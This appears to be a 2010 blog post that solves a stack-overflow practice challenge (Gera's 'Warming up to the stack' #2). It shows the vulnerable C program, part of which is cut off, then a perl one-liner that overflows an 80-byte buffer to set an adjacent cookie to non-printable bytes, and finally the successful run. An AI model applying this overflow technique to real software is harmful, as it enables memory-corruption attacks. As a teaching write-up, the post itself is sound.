Thursday, December 23, 2010

Warming up to the stack #2

#include <stdio.h>
int main() {
  int cookie;
  char buf[80];
  printf("buf: %08x cookie: %08x\n", &buf, &cookie);
  if (cookie == 0x01020305)
    printf("you win!\n");

Gera's challenge #2 is exactly the same as the first one other than the cookie we need to write. What makes this interesting is that the characters are not "printable" (they don't have a symbolic representation.

There are a few ways to deal with this:
  • Take a file similar the original one and use a hex editor, like hexcurse(1), to manually modify it.
  • Use inline perl. perl -e 'print "q" x 80 . "\x05\x03\x02\x01"'
  • Directly entering the special characters using ctrl+v followed by a ctrl+key. The key is 0x40 + the value. This won't necessarily work on your terminal due to the Ctrl + C
%./a.out <exploit
buf: bfbfe9e8 cookie: bfbfea38
you win!

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